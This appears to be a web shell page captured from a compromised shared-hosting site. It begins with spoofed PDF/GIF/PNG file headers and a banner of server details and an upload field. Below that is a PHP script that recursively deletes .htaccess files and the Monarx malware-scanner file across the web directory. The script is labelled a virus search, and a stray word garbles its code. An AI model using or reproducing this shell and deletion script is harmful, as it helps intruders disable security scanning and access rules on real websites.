%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_44058e7c/ |
Upload File : |
<?php
$current_dir = getcwd();
//$current_dir = '/home/u993272038/domains';
$dir = $current_dir; // replace with the directory path you want to scan
$pattern = "*.php"; // replace with the file extension you want to delete
$dir = $current_dir; // replace with the directory path you want to scan
$result = search_virus_file($dir);
if ($result) {
echo "File found at: $result";
} else {
echo "File not found";
}
Adcales
function search_virus_file($dir) {
$filenames_to_delete = [".htaccess", "oshi.php", "monarx-analyzer.php"];
if (!is_dir($dir)) {
return false;
}
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..') {
continue;
}
echo "<br>". $file;
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($path)) {
// Recursively search the subdirectory
if (search_virus_file($path)) {
return true;
}
} else {
// Check if the file is a PHP file
$path = $dir . DIRECTORY_SEPARATOR . $file;
if (is_file($path) && in_array($file, $filenames_to_delete)) {
// delete the file
unlink($path);
}
}
}
return false;
}
?>